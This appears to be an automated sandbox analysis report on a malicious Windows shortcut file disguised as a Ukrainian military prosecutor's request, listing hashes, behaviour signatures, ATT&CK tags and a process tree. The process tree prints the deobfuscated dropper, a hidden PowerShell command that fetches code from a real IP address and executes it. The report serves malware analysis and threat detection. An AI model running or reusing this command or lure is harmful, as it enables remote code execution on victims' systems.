750bcec54a2e51f3409c83e2100dfb23d30391e20e1c8051c2bc695914c413e3

Analysis

max time kernel
41s
max time network
45s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
16/09/2022, 00:27

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General

Target

Запит Спеціалізованої прокуратури у військовій та обо.lnk
Size

2KB
MD5

5ae91dc5c2f16efbed5548f489f87b93
SHA1

d70aaf5dd29196ec165dcc091bbaa0f2a3dae18b
SHA256

1ec69271abd8ebd1a42ac1c2fa5cdd9373ff936dc73f246e7f77435c8fa0f84c
SHA512

14b0ae0d41d514b64970b1fccc4d65424c2027f43119005c596996103b16da45bae908bbc5a7fc1408a367174babdd575d999340feba538676395d7a0c7ab493

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://194.180.191.105/verst

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	952	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
952	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	952	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2012 wrote to memory of 952	2012	cmd.exe	27
PID 2012 wrote to memory of 952	2012	cmd.exe	27
PID 2012 wrote to memory of 952	2012	cmd.exe	27

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Запит Спеціалізованої прокуратури у військовій та обо.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:2012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -WindowStyle hidden $(New-Object net.webclient).UploadString('http://194.180.191.105/verst','asdasda') |iex
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:952

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/952-93-0x000007FEF3600000-0x000007FEF4023000-memory.dmp

Filesize
10.1MB

Download
memory/952-94-0x0000000002404000-0x0000000002407000-memory.dmp

Filesize
12KB

Download
memory/952-95-0x000007FEF2AA0000-0x000007FEF35FD000-memory.dmp

Filesize
11.4MB

Download
memory/952-96-0x000000000240B000-0x000000000242A000-memory.dmp

Filesize
124KB

Download
memory/952-97-0x0000000002404000-0x0000000002407000-memory.dmp

Filesize
12KB

Download
memory/952-98-0x000000000240B000-0x000000000242A000-memory.dmp

Filesize
124KB

Download
memory/2012-54-0x000007FEFB9F1000-0x000007FEFB9F3000-memory.dmp

Filesize
8KB

Download